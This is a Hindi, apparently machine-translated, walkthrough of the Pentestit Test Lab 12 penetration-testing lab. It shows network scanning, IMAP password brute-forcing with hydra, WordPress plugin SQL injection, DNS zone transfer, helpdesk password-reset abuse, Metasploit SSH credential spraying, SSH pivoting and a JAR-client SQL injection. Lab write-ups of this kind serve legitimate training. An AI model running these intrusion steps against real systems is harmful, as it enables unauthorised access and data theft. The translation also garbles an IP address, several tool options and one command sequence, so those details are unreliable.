👨🏾‍💻 🙊 🤵🏼 पेंटेस्ट-प्रयोगशाला "पेंटेस्टिट टेस्ट लैब 12"

प्रत्येक वर्ष, पेंटेस्टिट ने एक नई पैठ परीक्षण प्रयोगशाला, टेस्ट लैब शुरू की, और यह लेख 12 वीं प्रयोगशाला को कवर करेगा, जिसे "z 9r347 39u411z3r" या, अगर डिकोड किया गया, "महान तुल्यकारक" कहा जाएगा।

त्याग

यह लेख प्रकृति में सलाहकार नहीं है, लेकिन केवल उन चरणों का वर्णन करता है जो मैंने प्रयोगशाला में जाने के लिए उठाए थे। सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुई किसी भी क्षति के लिए कोई ज़िम्मेदारी नहीं उठाता है।

प्रयोगशाला से कनेक्शन

प्रयोगशाला का कनेक्शन एक वीपीएन कनेक्शन के माध्यम से है (चूंकि मैं लिनक्स पर चलने वाली मशीन पर प्रयोगशाला से गुजर रहा था, तो सभी कार्यों को विशेष रूप से इस मंच के लिए वर्णित किया जाएगा)। निजी नेटवर्क में आने के लिए, आपको निम्नलिखित कदम उठाने होंगे:

यहां रजिस्टर करें ।
कॉन्फ़िगरेशन फ़ाइलों को यहां से सहेजें।
नेटवर्क सेटिंग्स पर जाएं और "वीपीएन जोड़ें" चुनें।
फ़ाइल से आयात (विन्यास के साथ डाउनलोड की गई फ़ाइल निर्दिष्ट करें)।
कनेक्शन के लिए लॉगिन और पासवर्ड निर्दिष्ट करें ("कैसे कनेक्ट करें" टैब पर दिया गया)।
हम वीपीएन से कनेक्ट करते हैं और गेटवे 192.168.101.1 को पिंग करते हैं। यदि पिंग गुजरता है, तो आप प्रयोगशाला से सफलतापूर्वक जुड़े हुए हैं।

लक्ष्य खोज

हमारे पास 255.255.255.0 के मुखौटे के साथ नेटवर्क 192.168.101.X तक पहुंच है। सबसे पहले, आपको नेटवर्क पर "लाइव होस्ट" खोजने की आवश्यकता है। यह आसानी से नैम्प उपयोगिता के साथ किया जा सकता है:

nmap -sn 192.168.101.0/24

उपयोग किए गए नैम्प विकल्प

-sn - "लाइव होस्ट" को परिभाषित करें
आईपी / मास्क - नेटवर्क एड्रेस / मास्क

तो हम तीन मेजबान पाते हैं, जिनमें से एक को हम पहले से ही जानते हैं (प्रवेश द्वार):

192.168.101.1
192.168.101.12
192.168.101.13

दूसरा चरण खुले और बंद बंदरगाहों के लिए खोजे गए मेजबानों को स्कैन करना है।

 nmap -sV -Pn 192.168.101.12-13 -p-

उपयोग किए गए नैम्प विकल्प

-sV - सॉफ्टवेयर संस्करण का पता लगाने के साथ स्कैन करें
-पी - स्कैन करते समय पिंग को निष्क्रिय करें
-p- - पोर्ट की पूरी रेंज को स्कैन करें

रिपोर्टों से यह स्पष्ट है कि 192.168.101.13 अनुपलब्ध है, इसलिए हम 192.168.101.12 से शुरू करते हैं। वेब सर्वर पोर्ट 80 पर घूम रहा है। लेकिन जब आप इसे एक्सेस करने की कोशिश करते हैं, तो site.test.lab पर रीडायरेक्ट होता है , जो हमारे लिए अज्ञात है (DNS इस रीडायरेक्ट के लिए कॉन्फ़िगर नहीं किया गया है)। एक ब्राउज़र और कर्ल उपयोगिता का उपयोग करके सत्यापन किया जाता है।

 curl http://192.168.101.12:80/ curl http://site.test.lab/

Site.test.lab के लिए / etc / मेजबान फ़ाइल में एक प्रविष्टि करें। अब, हम शांति से साइट पर जाते हैं।

पहला कदम साइट के बारे में जानकारी एकत्र करना है। सबसे महत्वपूर्ण साइट इंजन (सीएमएस - सामग्री प्रबंधन प्रणाली) है। ऐसा करने के लिए, विग उपयोगिता का उपयोग करें।

 wig -u http://site.test.lab/

विश्लेषण के लिए, हमें एक रिपोर्ट मिलती है - वर्डप्रेस का उपयोग किया जाता है। आइए पार्स करें विग आउटपुट:

आईपी और शीर्षक प्रविष्टियाँ।
नाम, संस्करण और सॉफ्टवेयर का प्रकार।
महत्वपूर्ण पृष्ठ।
उपयोगिताएँ जो आप उपयोग कर सकते हैं।
सीवीई के लिंक के साथ संभावित कमजोरियां।

सीएमएस वर्डप्रेस स्कैन करने के लिए और, अधिक महत्वपूर्ण बात, स्थापित प्लगइन्स (वे ज्यादातर कमजोर हैं), wpscan उपयोगिता सबसे उपयुक्त है।

 wpscan --url http://site.test.lab/ --enumerate p --random-user-agent

Wpscan विकल्प का इस्तेमाल किया

--url "URL"
--enumerate p - plugins का एन्युमरेशन (ब्रूट)
- आयामी-उपयोगकर्ता-एजेंट - उपयोगकर्ता-एजेंट फ़ील्ड बदलें

हमें आवश्यक जानकारी मिलती है: वर्डप्रेस संस्करण, कमजोरियां और इंस्टॉल किए गए प्लगइन्स। तथ्य यह है कि ये कमजोरियां हमें वांछित पहुंच प्रदान नहीं करेंगी। यह निर्धारित करना बहुत उपयोगी है कि कौन से प्लगइन्स का उपयोग किया जाता है। इस मामले में, यह "wp-survey-and-poll" है। यह समझना महत्वपूर्ण है कि स्कैनर का उपयोग केवल सॉफ्टवेयर के बारे में जानकारी प्राप्त करने के लिए किया जाना चाहिए। चूंकि भेद्यताओं का एक भी डेटाबेस नहीं है, स्कैनर सभी मौजूदा कारनामों को नहीं दिखा सकता है। स्कैनिंग के परिणामस्वरूप, हमारे पास:

WP संस्करण: 4.9.8।
ट्वेंटीवेंटीन: हाँ, वी। 1.9
प्लगइन्स: डब्ल्यूपी-सर्वेक्षण-और-पोल वी। 1.5.7

WPS के उत्पादन

Searchsploit उपयोगिता को सबसे बड़े शोषण-डीबी शोषण डेटाबेस को आसानी से खोजने के लिए डिज़ाइन किया गया है, जिसे आपके पीसी में डाउनलोड और सहेजा गया है। संस्करण 4.9.8 के लिए, डेटाबेस में कोई भेद्यता नहीं पाई गई थी। यदि हम प्लगइन की जांच करते हैं, तो हमें दो कमजोरियां मिलेंगी।

 searchsploit "WordPress Survey Poll"

इन भेद्यताओं के बारे में और जानें। यह कुकी में एक नियमित बाइंड SQL इंजेक्शन है। हमें प्रश्न का उत्तर देने और कुकीज़ में हमारे अनुरोध को स्थानापन्न करने की आवश्यकता है। तकनीक बहुत सरल है: (किसी भी अभिव्यक्ति) या 1 = 2 गलत वापस आ जाएगी, फिर हमारे उत्तर को हल करने के बजाय DBMS संयुक्त अनुरोध के UNION के दूसरे भाग को प्रदर्शित करेगा। ये सभी कॉलम हैं, जिनमें से एक (नंबर 10) पृष्ठ पर प्रदर्शित किया जाएगा। लेकिन इस नेटवर्क खंड से संचालन असंभव था, क्योंकि यह बाद में ज्ञात हो गया, क्योंकि यह WAF को अवरुद्ध करता है।

मेल टोकन

साइट पर विफलता के बाद, आपको अन्य प्रवेश बिंदु खोजने की आवश्यकता है। साइट पर, आप info@test.lab लॉगिन पा सकते हैं, जिसका उपयोग हम प्रमाणीकरण जानकारी का चयन करने के लिए करेंगे। आइए अन्य बंदरगाहों पर जाएं। वेब 8080 पर घूम रहा है, लेकिन CSRF टोकन का उपयोग किया जाता है। 25 smtp पर, जिसके लिए पासवर्ड काम नहीं करता था। हमारे पास केवल 143 बचे हुए पोर्ट हैं - यह IMAP सेवा है। ब्रूटस के लिए, मैंने हाइड्रा उपकरण का उपयोग किया। जैसा कि यह निकला, पासवर्ड बहुत सरल था।

 hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

चूंकि हमें मेल के लिए उपयोगकर्ता नाम और पासवर्ड मिला है, हम 192.168.101.12:8080 पर लॉग इन करते हैं। अब आपको सभी मेलों का ठीक से विश्लेषण करने की आवश्यकता है। इसके अलावा, सभी जानकारी एकत्र करना आवश्यक है, क्योंकि यह बाद में काम आ सकता है। यहाँ मैं क्या पाया:

इनबॉक्स: वीपीएन कॉन्फ़िगर करता है।
आउटगोइंग में: मेल सेट करने के लिए टोकन।
उपयोगकर्ता नाम sviridov@test.lab

वीपीएन पर वीपीएन

हमें कंपनी के नेटवर्क में गहराई से विस्तार करने की आवश्यकता है। हमारे पास एक वीपीएन कॉन्फिगर है, लेकिन हम मुख्य से डिस्कनेक्ट नहीं कर सकते हैं। इस तकनीक को वीपीएन के ऊपर वीपीएन कहा जाता है - जब हम एक वीपीएन के अंदर वीपीएन को वीपीएन के अंदर जोड़ते हैं, आदि वीपीएन के लिए, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है। हम केवल 2 उपयोगकर्ताओं (जानकारी और sviridov) और उनमें से एक का पासवर्ड जानते हैं। हम एक ज्ञात उपयोगकर्ता नाम और पासवर्ड का उपयोग करके कनेक्ट करने का प्रयास कर रहे हैं, अगर यह काम नहीं करता है, तो हम क्रूर होंगे कनेक्ट करने के लिए, निम्न चरणों का पालन करें:

एक userVPN.txt फ़ाइल बनाएँ, जहाँ पहली पंक्ति उपयोगकर्ता नाम और दूसरी पासवर्ड है।
इस फ़ाइल में पथ को SSL-user-pass कॉलम में VPN कॉन्फिगर करें
आप निम्न सामग्री के साथ एक bash script OverVPN.sh बनाते हैं: openvpn --config configuration_path_to_file_ &
उसे अधिकार प्रदान करें: chmod 770 ./OverVPN.sh
रन: ./OverVPN.sh

हम भाग्यशाली हैं, उपयोगकर्ता info@test.lab सफलतापूर्वक लॉग इन किया गया है, और हमें बताया गया है कि एक नया नेटवर्क 172.16.0.0/16 उपलब्ध है।

सबसे पहले, आपको नेटवर्क पर "लाइव होस्ट" खोजने की आवश्यकता है, जैसा आपने पिछली बार किया था:

 nmap -sn 172.16.0.0/16

तो हम चार होस्ट ढूंढते हैं।

प्रत्येक मेजबान को स्कैन करें। 172.16.0.1 को कुछ नहीं मिला। मैं यह मानने की हिम्मत करता हूं कि यह हमारे लंबे समय से ज्ञात अन्य नेटवर्क पर 192.168.101.13 है। यह उसके माध्यम से है कि हम इस नेटवर्क से जुड़े हैं। 172.16.0.10 पर, पोर्ट 80 पर केवल वेब सर्वर उपलब्ध है। 172.16.0.17 को हम परीक्षण के लिए एक संपूर्ण "परीक्षण ग्राउंड" देखते हैं। 172.16.1.2 को कुछ नहीं। सबसे अधिक संभावना है कि यह एक और वीपीएन सेवा है।

Nmap स्कैन के परिणाम

डीएनएस टोकन

चूंकि टोकन की सूची में अगला एक डीएनएस है, हम पोर्ट 172.1.0.0.17 पर डीएनएस सेवा का विश्लेषण करना शुरू करेंगे। मुख्य भेद्यता डीएनएस रिकॉर्ड प्राप्त कर रही है - डीएनएस क्षेत्र का हस्तांतरण (तथाकथित एक्सएफआर अनुरोध)। हम इसे nslookup और खुदाई उपयोगिताओं का उपयोग करके निष्पादित करते हैं।

इन ज़ोन के लिए ज़िम्मेदार ज़ोन और सर्वर के नाम जानने वाले पहले।

 nslookup > set type=ANY > set port=53 > SERVER 172.16.0.17 > test.lab

दूसरा स्थानांतरण करेगा।

 dig @172.16.0.17 ns1.test.lab axfr

यह DNS सर्वर प्रतिक्रिया नहीं दे रहा है। लेकिन वह नेटवर्क पर बाकी DNS के बारे में जानता है। Dnsrecon उपयोगिता आपको dns के साथ बिल्कुल कोई भी ऑपरेशन करने की अनुमति देती है। नेटवर्क पर बाकी DNS प्राप्त करें और उन्हें / etc / मेजबान फ़ाइल में जोड़ें।

 dnsrecon -d test.lab -n 172.16.0.17 -t brt

Dnsrecon विकल्प

-d "डोमेन"
-एन "सर्वर"
-t brt एक तकनीक है, इस मामले में जानवर बल।

172.16.0.17 होस्ट को स्कैन करते समय, हमें टोकन मिलता है।

 dnsrecon -d test.lab -n 172.16.0.17 -a

Dnsrecon परिणाम

हेल्पडेस्क टोकन

सूची में अगला कार्य: हेल्पडेस्क। हमने एक समान डोमेन पाया और जोड़ा। इसके अलावा, यह एकमात्र सेवा है जो 172.16.0.10 पर चलती है। प्राधिकरण का एक सरल रूप है, कोई सीएमएस का उपयोग नहीं किया जाता है। हमेशा की तरह, हम जाने-माने उपयोगकर्ताओं में प्रवेश करने का प्रयास करते हैं। और हम चुपचाप उपयोगकर्ता info@test.lab के तहत जाते हैं। हम अनुरोध फॉर्म देखते हैं, टोकन अनुरोध के बाद, हमें कुछ भी नहीं मिलता है। जाहिरा तौर पर हमारे पास यह नहीं है, लेकिन जैसा कि इस तरह के कार्यों में होता है, यह किसी अन्य उपयोगकर्ता के लिए उपलब्ध है। पृष्ठ की थोड़ी समीक्षा के बाद, हम पासवर्ड बदलने की क्षमता पाते हैं।

विभिन्न स्कैनरों के साथ खोज और पासवर्ड परिवर्तन रूपों को स्कैन करने के बाद, हमें कुछ नहीं मिलता है। पासवर्ड परिवर्तन पृष्ठ के स्रोत कोड पर एक नज़र डालें। यदि आप इसे कुछ बार अपडेट करते हैं, तो आप देखेंगे कि CSRF टोकन के साथ छिपा हुआ क्षेत्र नहीं बदलता है। यानी यह CSRF टोकन नहीं है। यह बेस 64 है, डीकोड करें और नंबर प्राप्त करें।

चूंकि कोई भी कुकी नहीं भेजी जाती है, इसलिए यह स्पष्ट है कि यह उपयोगकर्ता आईडी है। योजना निम्नानुसार है: हम सभी आईडी के लिए पासवर्ड बदलते हैं, और उन आईडी के लिए जिन पर एक सफल परिणाम प्राप्त हुआ था, हम अपने पासवर्ड का उपयोग करके लॉगिन का चयन करते हैं।

बर्प सूट कार्यान्वयन

केवल दो आईडी ने पासवर्ड बदलने के अनुरोध का सफलतापूर्वक जवाब दिया। अब यह एक उपयोगकर्ता नाम चुनने के लिए बना हुआ है। रूट और एडमिन ने परिणाम नहीं दिया, लेकिन sviridov@test.lab हमें एक टोकन देता है।

विज्ञापन टोकन

वीपीएन पथ पर जाने से पहले, 172.16.0.17 पर सेवाओं को देखें। डीआईजी एसएएमबीए कार्यसमूह परीक्षण (नैंप विश्लेषण से)। सबसे पहले, आपको डोमेन में उपयोगकर्ताओं का पता लगाने की आवश्यकता है:

 enum4linux -U 172.16.0.17

Enum4linux डोमेन, डोमेन में उपयोगकर्ताओं, उनकी छुटकारा और अन्य जानकारी को परिभाषित करता है। उपयोगकर्ताओं के बीच, हम टोकन निकालते हैं। वैसे, सभी लॉगिन रखने के लिए बेहतर हैं।

USERS टोकन

हेल्पडेस्क से, कार्यों ने सीखा कि उपयोगकर्ता sviridov को नेटवर्क तक पहुंच दिया गया था, अर्थात, वीपीएन कॉन्फ़िगरेशन। हम हेल्पडेस्क से पासवर्ड भी लेते हैं। हम मौजूदा कॉन्फ़िगरेशन का उपयोग करके 192.168.101.13 से कनेक्ट करने का प्रयास करते हैं, लेकिन उपयोगकर्ता के उपयोगकर्ता नाम और पासवर्ड को उपयोगकर्ता वीपीएनएक्सएक्सएक्सएक्स में बदलें।

कुछ नहीं होता है। फिर हम 192.168.101.12 से कनेक्ट करने का प्रयास करते हैं। हम जुड़े हुए हैं और नेटवर्क 192.168.0.0/24 और 172.16.0.0/16 हमारे लिए उपलब्ध हैं।

अब फिर से नेटवर्क की टोह लेने की जरूरत है। 255.255.0.0 के मास्क के साथ दो नेटवर्क 172.16.0.0 हमारे लिए उपलब्ध हैं, जहां हम आठ होस्ट और एक नेटवर्क 192.168.0.0/24 पाते हैं, जो स्कैन नहीं किया गया है। जाहिरा तौर पर सभी मेजबानों पर एक फ़ायरवॉल सक्रिय है। हम -n विकल्प के साथ स्कैन करते हैं, और रिपोर्ट में हमें पूरी तरह से सभी होस्ट और पोर्ट सभी जगह फ़िल्टर किए जाते हैं। हम देखते हैं कि नेटवर्क पर मेजबान हैं जिनके पास पोर्ट 22 खुला है:

192.168.0.10
192.168.0.15
192.168.0.30
192.168.0.100
192.168.0.205
192.168.0.240

Nmap स्कैन परिणाम

चूँकि 192.168.0.0/24 नेटवर्क पर मौजूद एकमात्र चीज़ है, जो खुले ssh पोर्ट के साथ छह होस्ट हैं, हम उन सभी के माध्यम से स्क्रॉल करेंगे जिन्हें हम जानते हैं कि उपयोगकर्ताओं में से एक के तहत कनेक्ट करने में सक्षम हैं।

चूंकि छह मेजबान हैं, हम मेटास्प्लोइट फ्रेमवर्क उपयोगिता का उपयोग करके खोज को स्वचालित करते हैं। हम सहायक मॉड्यूल / स्कैनर / ssh / ssh_login का उपयोग करेंगे।

 > use auxiliary/scanner/ssh/ssh_login > set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240 > set USERPASS_FILE '/root/CTF/PT12/userspass.txt' > exploit

हम दोनों उपयोगकर्ताओं के तहत सभी मेजबानों पर जाते हैं और जानकारी की तलाश करते हैं। 192.168.0.100 को एक लंबे समय तक चलने के बाद हम अभिगम अधिकारों में त्रुटि पाते हैं। उपयोगकर्ता की होम डायरेक्टरी बिल्कुल सभी को देखने के लिए उपलब्ध है। हमें इसमें एक टोकन मिलता है। लेकिन इसका लेखक sviridov है। Svridov के तहत लॉग इन करें और टोकन में हाथ।

इससे ज्यादा दिलचस्प कुछ नहीं मिला। आईपी मार्ग का कोई अन्य नेटवर्क नहीं था। क्रोन में केवल एक क्लीनर था। में / tmp / बहुत से समझ से बाहर:

1.श - कुछ नहीं दिया।
Client.jar शुरू नहीं होता क्योंकि JVM नहीं है। यह अजीब है कि उसकी आखिर जरूरत क्यों है।
DAGESTAN_SILA नामपट पर नाम बदलें।
विशेषाधिकार बढ़ाने के लिए दो चेकर्स।
और बहुत सारे अलग-अलग कचरा।

वीपीएन टोकन

172.16.0.0/16 नेटवर्क पर, पोर्ट 80 सभी मेजबानों पर खुला है। यह सभी मेजबानों पर साइट ब्राउज़ करने के लायक है:

172.16.1.10 को हम टोकन पाते हैं !!! वीपीएन कार्य स्वीकृत। जाहिर तौर पर यह कार्य उपयोगकर्ता sviridov के रूप में 192.168.101.12 से जुड़ने का अनुमान था।
172.16.1.12 को प्राधिकरण प्रपत्र।
172.16.1.15 को आधार प्रमाणीकरण।

यह बहुत आसान था, आगे बढ़ें।

सिएम टोकन

हम 172.16.1.12 को जाते हैं। हमने पढ़ा कि प्रिविका क्या है। प्रीविकका वेब के माध्यम से कार्यान्वित किए जाने वाले प्रील्यूड सेग्मेंट सिस्टम के लिए मुख्य यूजर इंटरफेस है। इंटरफ़ेस तक पहुंच एक वेब ब्राउज़र के माध्यम से है। प्रमाणीकरण स्थानीय खातों का उपयोग करके या LDAP निर्देशिका के माध्यम से किया जाता है। एक्सप्लॉइट्स नहीं मिल सके। डिफ़ॉल्ट रूप से Google लॉगिन और पासवर्ड। विफलता, क्योंकि उन्हें सिस्टम की स्थापना के दौरान संकेत दिया गया है। लेकिन आप प्रलेखन से एक उदाहरण का प्रयास कर सकते हैं: प्रस्तावना: प्रस्तावना - फिट नहीं किया गया। आइए उन उपयोगकर्ताओं का प्रयास करें जिन्हें हम पहले से जानते हैं (और हम केवल दो के पासवर्ड जानते हैं)। Sviridov आया। यह ध्यान रखना महत्वपूर्ण है कि केवल प्रशासक के पास सिएम प्रणाली तक पहुंच है। यह तर्क दिया जा सकता है कि हमने व्यवस्थापक को परिभाषित किया है।

हम देखते हैं कि इस महीने का डेटा प्रदर्शित किया जा रहा है। हम एक महीने पहले पत्रिका का अनुवाद करते हैं और लॉग किए गए डेटा को देखते हैं।

उन डोमेन पर ध्यान दें, जिन्हें हम / etc / मेजबान में जोड़ते हैं:

(admin.test.lab) 172.16.1.25
(vpn-admin.test.lab) 172.16.1.10
(repository.test.lab) 172.16.1.15
(site.test.lab) 172.16.0.14

Repository.test.lab लॉग के बीच, हम एक टोकन पाते हैं।

चूँकि हमने साइट.test.lab के लिए / etc / होस्ट्स में एक नई प्रविष्टि पाई और जोड़ दी, तो चलिए वापस आते हैं और साइट पर भेद्यता का फायदा उठाते हैं।

साइट टोकन

साइट पर वापस जाएं ।est.lab, जो अब 172.16.0.14 से मेल खाती है। चलो देखते हैं कि क्या WAF इसके लिए काम करता है। हम अपने लोड को उदाहरण से भेजते हैं और डीबीएमएस संस्करण प्राप्त करते हैं। इसके बाद, हमें पता चलता है कि किस डेटाबेस का उपयोग किया जाता है। यदि यह डिफ़ॉल्ट डेटा से मेल खाता है, तो आप तुरंत उपयोगकर्ता का नाम और हैश प्राप्त कर सकते हैं, क्योंकि डिफ़ॉल्ट रूप से उपयोगकर्ता के साथ तालिका है: wp_users। डेटाबेस का नाम (वर्डप्रेस) एक ही है, इसलिए, हम उपयोगकर्ता नाम और पासवर्ड का पता लगाते हैं। दुर्भाग्य से, यह कुछ भी नहीं देता है। पासवर्ड स्क्रॉलिंग भी विफल रही।

अगला (मैं तकनीक का वर्णन नहीं करूंगा, ये मूल बातें हैं) हम इस मामले में सामान्य पथ पर चलते हैं - हमें सभी तालिकाओं के नाम मिलते हैं। उनमें से आवश्यक तालिका है - टोकन। पता करें कि कॉलम और डेटा प्रकार क्या हैं। तब हम समझते हैं कि हमें नाम मान प्राप्त करने की आवश्यकता है।

बर्प सूट के साथ कमजोरियों को उजागर करें

रिपोजिटरी टोकन

सिएम में हमें repository.test.lab के लॉग मिले। आइए पाए गए डेटा का उपयोग करके लॉग इन करने का प्रयास करें। आप फिर से वापस जा सकते हैं और वहां मौजूद सभी सेवाओं के लिए लॉग देख सकते हैं।

हम पास होते हैं, हम लॉग इन करने की कोशिश करते हैं। सफलतापूर्वक !!! हम कुछ फाइलें और एक टोकन देखते हैं।

उलटा टोकन

टोकन के अलावा, रिपॉजिटरी में दो और फाइलें थीं। रिवर्स निर्दिष्ट करने के लिए उनमें से एक एक बिन फ़ाइल है। चलो निष्पादन योग्य फ़ाइल का एक मूल विश्लेषण करें:

स्ट्रिंग्स - एक उपयोगिता जो एक फ़ाइल से सभी लाइनों को प्रदर्शित करती है। इस मामले में, हम बहुत सारी बेस 64 लाइनें देखते हैं। डिकोडिंग कुछ नहीं देता है।
लेट्रेस एक उपयोगिता है जो लाइब्रेरी फ़ंक्शन कॉल को स्वीकार करती है। इस मामले में, पुस्तकालय के किसी भी कार्य को नहीं बुलाया गया था।
स्ट्रेस एक उपयोगिता है जो सभी सिस्कोल्स (सिस्टम कॉल) को स्वीकार करती है। हमें कोई उपयोगी डेटा नहीं मिला है।

इन उपयोगिताओं का परिणाम है

हमें कोई उपयोगी डेटा नहीं मिला है। इस तरह के कार्यों के लिए, मैं स्वचालित समाधानों के लिए एंगर का उपयोग करना पसंद करता हूं (बाद के लेखों में मैंग्र लाइब्रेरी के बारे में अधिक लिखूंगा)। मैं अजगर में कोड देता हूं।

 import angr import claripy proj = angr.Project('./bin') simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(0))

हमें उत्तर के रूप में टोकन मिलता है।

DB टोकन

अब जार फाइल का पता करते हैं। आपको यह समझने की जरूरत है कि वह क्या कर रहा है। जावा एक विघटित भाषा है, इसलिए हमें स्रोत कोड मिलता है। ऐसे कई कार्यक्रम हैं जो आपको ऐसा करने की अनुमति देते हैं (सर्वोत्तम: JAD, JD-gui, Javasnoop, Intellij Idea Decompiler, JD-plugin Eclipse)। मैं निर्माण परियोजनाओं के लिए विघटन और Intellij Idea के लिए JD-gui का उपयोग करता हूं। इन चरणों का पालन करके स्रोत परियोजना प्राप्त करें:

चला जद-गुई। लिनक्स पर, एक स्टार्टअप समस्या है जिसे इस तरह हल किया जा सकता है - निम्नलिखित सामग्री के साथ एक बैश फ़ाइल बनाएं:
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
क्लाइंट.जर डाउनलोड करें और सेव करें।
ओपन इंटेलीज आइडिया → इम्पोर्ट प्रोजेक्ट। फ़ाइल फ़ोल्डर के लिए पथ निर्दिष्ट करें।
मौजूदा स्रोतों से परियोजना बनाएं।

जद-जीयूआई के लिए बचत

चलो यह क्या है इसकी कल्पना करने के लिए एप्लिकेशन कोड का विश्लेषण करें। पहला कदम कनेक्शन पैरामीटर और एसएसएल सेट करना है। कॉल पोर्ट 5074 पर 172.16.0.55 पते पर होता है। इसके बाद, हमें एक संदेश प्राप्त होता है जो आपसे अनुरोध करने के लिए संख्याओं में से एक दर्ज करने के लिए कहता है। इसके आधार पर, एक निश्चित पैरामीटर को रिक्वेस्ट फ़ंक्शन में पास किया जाता है। Reqvest फ़ंक्शन json प्रारूप में जनरेट किए गए अनुरोध को लौटाता है। हम एक अनुरोध भेजते हैं और एक प्रतिक्रिया प्राप्त करते हैं।

Decompiled अनुप्रयोग स्रोत कोड

एक कठिनाई है: मेजबान 172.16.0.55 हमारे लिए उपलब्ध नहीं है। लेकिन हमें Sviridov में 192.168.0.240 पर एक समान आवेदन मिला। इसका मतलब है कि रूटिंग को इस तरह से कॉन्फ़िगर किया गया है कि उसके कंप्यूटर से एप्लिकेशन सर्वर तक पहुंच हो। चूंकि हमारे पास एसएसएच के माध्यम से पहुंच है, इसलिए हम बंदरगाह को अपने स्थान पर अग्रेषित कर सकते हैं। पोर्ट को अग्रेषित करने के लिए, sshuttle उपयोगिता का उपयोग करें।

 sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

नतीजतन, हम नेटवर्क तक पहुंच प्राप्त करते हैं।

अब हम डिबग मोड में एप्लिकेशन का परीक्षण कर रहे हैं, लेकिन कुछ को बदलने के लिए, आपको परियोजना के पुनर्निर्माण की आवश्यकता है। F9 के माध्यम से एप्लिकेशन को चलाने का प्रयास करते समय, हमें एक त्रुटि मिलती है। इसे ठीक करने के लिए, आपको चाहिए:

स्पष्ट पुनरावृत्ति।
Json में त्रुटि। प्रोजेक्ट से पूरा फ़ोल्डर हटाएं।
संदर्भ मेनू में प्रोजेक्ट का चयन करें: मॉड्यूल सेटिंग खोलें या F4
निर्भरता टैब में, "+" का चयन करें और जार फ़ाइल निर्दिष्ट करें। तो तैयार परियोजना से, हम पहले से ही इकट्ठे हुए पुस्तकालयों को लोड करेंगे जो कि डिकंपाइलर बर्बाद हो गए।

अब आवेदन सफलतापूर्वक शुरू होता है, और हम कमजोरियों की खोज करना शुरू कर सकते हैं। क्वेरी स्ट्रिंग, जैसा कि हमने समझ लिया है, यह Reqvest फ़ंक्शन के अंदर बनाई गई है। आइए यह समझने के लिए कोड को थोड़ा बदलें कि सिस्टम हमारे किसी भी इनपुट पर कैसे प्रतिक्रिया देता है। हम उन पंक्तियों को जोड़ते हैं जिसमें हम लौटे पैरामीटर को नियंत्रित करेंगे और इसे कंसोल में प्रदर्शित करेंगे। इसके बाद, हम चार संभावित क्वेरी करेंगे। जैसा कि हम देख सकते हैं, JSON स्ट्रिंग पास है। और सिस्टम, कुछ हद तक हेल्पडेस्क की याद दिलाता है, हमारे लिए उपयोगकर्ता अनुरोध वापस करेगा। वैसे, जाहिरा तौर पर डेटाबेस सर्वर पर घूम रहे हैं, क्योंकि एप्लिकेशन हमें उस उपयोगकर्ता को वापस करता है जिसके तहत अनुरोध किया गया था।

परीक्षण

पैरामीटर को बदलने और ठीक करने के लिए इसे और अधिक सुविधाजनक बनाने के लिए, हम फ़ंक्शन को लगातार एक ही स्ट्रिंग लौटाते हैं।

चूंकि डेटाबेस का उपयोग सर्वर पर किया जाता है, इसलिए जांच के लिए पहली चीज SQL इंजेक्शन की उपस्थिति है:

हम सबसे हानिरहित भार भेजेंगे - विलंब फ़ंक्शन। 10 सेकंड की देरी के साथ एक अनुरोध 0 सेकंड की देरी से अधिक समय लेता है। एक SLEEP इंजेक्शन है।
जांचें कि क्या यह अंधा है। चूंकि निष्कर्ष को सही स्थिति में नहीं बदला गया है, इसलिए आवेदन BLIND इंजेक्शन के लिए असुरक्षित है।
सबसे पहले आपको आउटपुट में कॉलम की संख्या का पता लगाना होगा। ऐसा करने के लिए, हम एक संयुक्त UNION अनुरोध बना रहे हैं। हम कॉलम की संख्या के माध्यम से सॉर्ट करते हैं जब तक कि कोई आउटपुट न हो। तो आउटपुट 5 कॉलम के साथ दिखाई देता है।
अब आपको सेवा की जानकारी का पता लगाने की आवश्यकता है: DBMS (@@ संस्करण) और डेटाबेस नाम (डेटाबेस ())। डेटाबेस का नाम यह जानना है कि क्या संपर्क करना है, और DBMS किस पर्यावरण के साथ काम करना है। तो हमें पता चलता है कि MySQL का उपयोग किया जाता है, और डेटाबेस का नाम "reqvest" है।
अब पर्यावरण information_schema के माध्यम से, हमें पता चलता है कि टेबल क्या मौजूद हैं। हम टोकन के इच्छुक हैं।
हमें पता चलता है कि टोकन तालिका में कौन से कॉलम हैं।
टोकन तालिका की सामग्री प्रदर्शित करें।

ऑपरेशन "

यह कार्य इतना दिलचस्प निकला !!!

उपयोगकर्ता एपी टोकन

192.168.0.0/24 नेटवर्क पर छह छिपे हुए मेजबानों की खोज करने के बाद, मैंने इस तथ्य के बारे में सोचा कि ये 172.16.0.0/16 में हो सकते हैं। मुख्य बंदरगाहों पर एक ही स्कैन करें। चूंकि आउटपुट बहुत बड़ा है, इसलिए हम "ओपन" कीवर्ड की खोज करेंगे। हमें ओपन वेब के साथ दो और होस्ट मिलते हैं।

खैर, जब से उन्होंने हमसे 172.16.1.20:8000 छिपाने की कोशिश की, हम उसमें जाते हैं और एक AJAX एप्लिकेशन देखते हैं। खैर, हमेशा की तरह, हम निर्देशिकाओं को स्कैन करते हैं। जो कुछ भी dirb मिला वह पहले से ही हमारे पास उपलब्ध है।

संपर्क पृष्ठ हमारे लिए बेकार है। लॉगिन पेज को प्राधिकरण की आवश्यकता है। और समर्थन में किसी प्रकार की बारकोड फ़ाइल होती है। यह स्टेगो लगता है, इसलिए इसे अभी के लिए छोड़ दें। वैसे, यदि आप कई बार इस पृष्ठ पर जाते हैं, तो अलग-अलग छवियां दिखाई देती हैं। हम सब कुछ बचा लेंगे, केवल 4 हैं। उन्हें "support_team" के रूप में डिकोड किया गया है।

